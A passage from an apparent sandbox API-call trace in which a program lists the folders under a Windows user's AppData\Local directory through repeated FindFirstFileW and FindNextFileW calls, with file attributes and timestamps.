ftLastWriteTime.dwLowDateTime=0xdc699b5c, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0209.049] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42bd1040, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x42bd1040, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0209.050] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0209.050] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0209.050] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0209.050] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0209.051] FindClose (in: hFindFile=0x1d46a8a0 | out: hFindFile=0x1d46a8a0) returned 1 [0209.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0ddf40) returned 1 [0209.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0ddf00) returned 1 [0209.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0de010) returned 1 [0209.051] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1e0ddaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0209.051] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\*"), lpFindFileData=0x1e0ddd20 | out: lpFindFileData=0x1e0ddd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a8a0 [0209.051] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.052] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0209.052] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.052] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0209.052] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0209.052] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xb1dfb94f, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xb1dfb94f, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x2e4f6a9d, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x991d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0209.053] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0209.053] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b344cd, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0209.053] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4252734, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x4252734, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x4252734, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0209.053] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xddb04c43, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xddb04c43, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0209.053] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73f4dcd0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73f4dcd0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73f4dcd0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0209.054] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc699b5c, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdc699b5c, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdc699b5c, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0209.054] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42bd1040, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x42bd1040, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0209.054] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0209.054] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0209.054] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0209.055] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.055] FindClose (in: hFindFile=0x1d46a8a0 | out: hFindFile=0x1d46a8a0) returned 1 [0209.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0ddf40) returned 1 [0209.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0ddf00) returned 1 [0209.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.055] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x2e [0209.055] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\activesync\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.057] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.057] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.057] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0209.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0209.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.058] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x2e [0209.058] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\activesync\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.058] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.058] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.058] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0209.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0209.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.059] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x34 [0209.059] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\application data\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd7f0) returned 1 [0209.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.062] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x34 [0209.062] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\application data\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd7f0) returned 1 [0209.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.233] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x29 [0209.233] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x241f3052, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.233] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x241f3052, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.233] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x41637d0, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0209.234] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0209.234] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0209.234] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0209.234] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0209.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0209.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.235] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x29 [0209.235] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x241f3052, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, 